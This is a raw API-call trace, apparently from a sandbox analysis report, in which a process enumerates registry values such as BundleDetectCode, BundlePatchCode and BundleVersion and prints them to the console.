[0150.677] _errno () returned 0x204bb0 [0150.677] GetFileType (hFile=0x50) returned 0x1 [0150.677] lstrlenW (lpString=" ") returned 4 [0150.678] GetConsoleOutputCP () returned 0x1b5 [0150.678] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.678] GetConsoleOutputCP () returned 0x1b5 [0150.678] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.678] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.678] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.678] __iob_func () returned 0x7fefd702a80 [0150.678] _fileno (_File=0x7fefd702ab0) returned 1 [0150.678] _errno () returned 0x204bb0 [0150.678] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.678] _errno () returned 0x204bb0 [0150.678] GetFileType (hFile=0x50) returned 0x1 [0150.678] lstrlenW (lpString="\n") returned 1 [0150.678] GetConsoleOutputCP () returned 0x1b5 [0150.678] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.678] GetConsoleOutputCP () returned 0x1b5 [0150.678] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.678] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.678] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.679] GetProcessHeap () returned 0x3c0000 [0150.679] GetProcessHeap () returned 0x3c0000 [0150.679] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.679] GetProcessHeap () returned 0x3c0000 [0150.679] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.679] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.679] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleDetectCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.679] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleDetectCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.679] GetProcessHeap () returned 0x3c0000 [0150.679] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.679] GetProcessHeap () returned 0x3c0000 [0150.679] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.679] GetProcessHeap () returned 0x3c0000 [0150.679] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.679] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleDetectCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x7, pvData=0x3dee90*, pcbData=0x29f780*=0x4) returned 0x0 [0150.679] __iob_func () returned 0x7fefd702a80 [0150.679] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.679] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.679] _fileno (_File=0x7fefd702ab0) returned 1 [0150.679] _errno () returned 0x204bb0 [0150.679] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.679] _errno () returned 0x204bb0 [0150.679] GetFileType (hFile=0x50) returned 0x1 [0150.679] lstrlenW (lpString=" ") returned 4 [0150.679] GetConsoleOutputCP () returned 0x1b5 [0150.679] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.679] GetConsoleOutputCP () returned 0x1b5 [0150.680] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.680] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.680] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.680] lstrlenW (lpString="BundleDetectCode") returned 16 [0150.680] __iob_func () returned 0x7fefd702a80 [0150.680] _fileno (_File=0x7fefd702ab0) returned 1 [0150.680] _errno () returned 0x204bb0 [0150.680] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.680] _errno () returned 0x204bb0 [0150.680] GetFileType (hFile=0x50) returned 0x1 [0150.680] lstrlenW (lpString="BundleDetectCode") returned 16 [0150.680] GetConsoleOutputCP () returned 0x1b5 [0150.680] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleDetectCode", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0150.680] GetConsoleOutputCP () returned 0x1b5 [0150.680] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleDetectCode", cchWideChar=16, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleDetectCode", lpUsedDefaultChar=0x0) returned 16 [0150.680] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0150.680] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.680] __iob_func () returned 0x7fefd702a80 [0150.680] _fileno (_File=0x7fefd702ab0) returned 1 [0150.680] _errno () returned 0x204bb0 [0150.680] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.680] _errno () returned 0x204bb0 [0150.680] GetFileType (hFile=0x50) returned 0x1 [0150.680] lstrlenW (lpString=" ") returned 4 [0150.680] GetConsoleOutputCP () returned 0x1b5 [0150.681] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.681] GetConsoleOutputCP () returned 0x1b5 [0150.681] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.681] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.681] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.681] __iob_func () returned 0x7fefd702a80 [0150.681] _fileno (_File=0x7fefd702ab0) returned 1 [0150.681] _errno () returned 0x204bb0 [0150.681] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.681] _errno () returned 0x204bb0 [0150.681] GetFileType (hFile=0x50) returned 0x1 [0150.681] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0150.681] GetConsoleOutputCP () returned 0x1b5 [0150.681] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.681] GetConsoleOutputCP () returned 0x1b5 [0150.681] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0150.681] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.681] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.681] __iob_func () returned 0x7fefd702a80 [0150.681] _fileno (_File=0x7fefd702ab0) returned 1 [0150.682] _errno () returned 0x204bb0 [0150.682] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.682] _errno () returned 0x204bb0 [0150.682] GetFileType (hFile=0x50) returned 0x1 [0150.682] lstrlenW (lpString=" ") returned 4 [0150.682] GetConsoleOutputCP () returned 0x1b5 [0150.682] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.682] GetConsoleOutputCP () returned 0x1b5 [0150.682] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.682] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.682] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.682] __iob_func () returned 0x7fefd702a80 [0150.682] _fileno (_File=0x7fefd702ab0) returned 1 [0150.682] _errno () returned 0x204bb0 [0150.682] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.682] _errno () returned 0x204bb0 [0150.682] GetFileType (hFile=0x50) returned 0x1 [0150.682] lstrlenW (lpString="\n") returned 1 [0150.682] GetConsoleOutputCP () returned 0x1b5 [0150.682] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.682] GetConsoleOutputCP () returned 0x1b5 [0150.683] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.683] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.683] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.683] GetProcessHeap () returned 0x3c0000 [0150.683] GetProcessHeap () returned 0x3c0000 [0150.683] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.683] GetProcessHeap () returned 0x3c0000 [0150.683] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.683] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.683] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundlePatchCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.683] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundlePatchCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.683] GetProcessHeap () returned 0x3c0000 [0150.683] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.683] GetProcessHeap () returned 0x3c0000 [0150.683] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.683] GetProcessHeap () returned 0x3c0000 [0150.683] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.683] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundlePatchCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x7, pvData=0x3dee90*, pcbData=0x29f780*=0x4) returned 0x0 [0150.683] __iob_func () returned 0x7fefd702a80 [0150.683] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.683] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.683] _fileno (_File=0x7fefd702ab0) returned 1 [0150.683] _errno () returned 0x204bb0 [0150.683] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.683] _errno () returned 0x204bb0 [0150.683] GetFileType (hFile=0x50) returned 0x1 [0150.683] lstrlenW (lpString=" ") returned 4 [0150.683] GetConsoleOutputCP () returned 0x1b5 [0150.683] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.684] GetConsoleOutputCP () returned 0x1b5 [0150.684] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.684] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.684] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.684] lstrlenW (lpString="BundlePatchCode") returned 15 [0150.684] __iob_func () returned 0x7fefd702a80 [0150.684] _fileno (_File=0x7fefd702ab0) returned 1 [0150.684] _errno () returned 0x204bb0 [0150.684] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.684] _errno () returned 0x204bb0 [0150.684] GetFileType (hFile=0x50) returned 0x1 [0150.684] lstrlenW (lpString="BundlePatchCode") returned 15 [0150.684] GetConsoleOutputCP () returned 0x1b5 [0150.684] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundlePatchCode", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.684] GetConsoleOutputCP () returned 0x1b5 [0150.684] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundlePatchCode", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundlePatchCode", lpUsedDefaultChar=0x0) returned 15 [0150.684] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.684] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.684] __iob_func () returned 0x7fefd702a80 [0150.684] _fileno (_File=0x7fefd702ab0) returned 1 [0150.684] _errno () returned 0x204bb0 [0150.684] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.684] _errno () returned 0x204bb0 [0150.684] GetFileType (hFile=0x50) returned 0x1 [0150.685] lstrlenW (lpString=" ") returned 4 [0150.685] GetConsoleOutputCP () returned 0x1b5 [0150.685] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.685] GetConsoleOutputCP () returned 0x1b5 [0150.685] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.685] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.685] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.685] __iob_func () returned 0x7fefd702a80 [0150.685] _fileno (_File=0x7fefd702ab0) returned 1 [0150.685] _errno () returned 0x204bb0 [0150.685] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.685] _errno () returned 0x204bb0 [0150.685] GetFileType (hFile=0x50) returned 0x1 [0150.685] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0150.685] GetConsoleOutputCP () returned 0x1b5 [0150.685] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.685] GetConsoleOutputCP () returned 0x1b5 [0150.685] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0150.685] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.685] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.686] __iob_func () returned 0x7fefd702a80 [0150.686] _fileno (_File=0x7fefd702ab0) returned 1 [0150.686] _errno () returned 0x204bb0 [0150.686] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.686] _errno () returned 0x204bb0 [0150.686] GetFileType (hFile=0x50) returned 0x1 [0150.686] lstrlenW (lpString=" ") returned 4 [0150.686] GetConsoleOutputCP () returned 0x1b5 [0150.686] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.686] GetConsoleOutputCP () returned 0x1b5 [0150.686] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.686] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.686] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.686] __iob_func () returned 0x7fefd702a80 [0150.686] _fileno (_File=0x7fefd702ab0) returned 1 [0150.686] _errno () returned 0x204bb0 [0150.686] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.686] _errno () returned 0x204bb0 [0150.686] GetFileType (hFile=0x50) returned 0x1 [0150.686] lstrlenW (lpString="\n") returned 1 [0150.686] GetConsoleOutputCP () returned 0x1b5 [0150.686] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.687] GetConsoleOutputCP () returned 0x1b5 [0150.687] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.687] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.687] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.687] GetProcessHeap () returned 0x3c0000 [0150.687] GetProcessHeap () returned 0x3c0000 [0150.687] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.687] GetProcessHeap () returned 0x3c0000 [0150.687] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.687] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.687] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.687] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x1c) returned 0x0 [0150.687] GetProcessHeap () returned 0x3c0000 [0150.687] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1e) returned 0x3d5c30 [0150.687] GetProcessHeap () returned 0x3c0000 [0150.687] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.687] GetProcessHeap () returned 0x3c0000 [0150.687] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1e [0150.687] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x1c | out: pdwType=0x29f700*=0x1, pvData="11.0.61030.0", pcbData=0x29f780*=0x1a) returned 0x0 [0150.687] __iob_func () returned 0x7fefd702a80 [0150.687] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.687] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.687] _fileno (_File=0x7fefd702ab0) returned 1 [0150.687] _errno () returned 0x204bb0 [0150.687] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.687] _errno () returned 0x204bb0 [0150.687] GetFileType (hFile=0x50) returned 0x1 [0150.687] lstrlenW (lpString=" ") returned 4 [0150.687] GetConsoleOutputCP () returned 0x1b5 [0150.688] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.688] GetConsoleOutputCP () returned 0x1b5 [0150.688] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.688] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.688] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.688] lstrlenW (lpString="BundleVersion") returned 13 [0150.688] __iob_func () returned 0x7fefd702a80 [0150.688] _fileno (_File=0x7fefd702ab0) returned 1 [0150.688] _errno () returned 0x204bb0 [0150.688] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.688] _errno () returned 0x204bb0 [0150.688] GetFileType (hFile=0x50) returned 0x1 [0150.689] lstrlenW (lpString="BundleVersion") returned 13 [0150.689] GetConsoleOutputCP () returned 0x1b5 [0150.689] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleVersion", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.689] GetConsoleOutputCP () returned 0x1b5 [0150.689] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleVersion", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleVersion", lpUsedDefaultChar=0x0) returned 13 [0150.689] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.689] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.689] __iob_func () returned 0x7fefd702a80 [0150.689] _fileno (_File=0x7fefd702ab0) returned 1 [0150.689] _errno () returned 0x204bb0 [0150.689] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.689] _errno () returned 0x204bb0 [0150.689] GetFileType (hFile=0x50) returned 0x1 [0150.689] lstrlenW (lpString=" ") returned 4 [0150.689] GetConsoleOutputCP () returned 0x1b5 [0150.689] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.689] GetConsoleOutputCP () returned 0x1b5 [0150.689] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.689] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.690] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.690] __iob_func () returned 0x7fefd702a80 [0150.690] _fileno (_File=0x7fefd702ab0) returned 1 [0150.690] _errno () returned 0x204bb0 [0150.690] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.690] _errno () returned 0x204bb0 [0150.690] GetFileType (hFile=0x50) returned 0x1 [0150.690] lstrlenW (lpString="REG_SZ") returned 6 [0150.690] GetConsoleOutputCP () returned 0x1b5 [0150.690] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.690] GetConsoleOutputCP () returned 0x1b5 [0150.690] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.690] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.690] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.690] __iob_func () returned 0x7fefd702a80 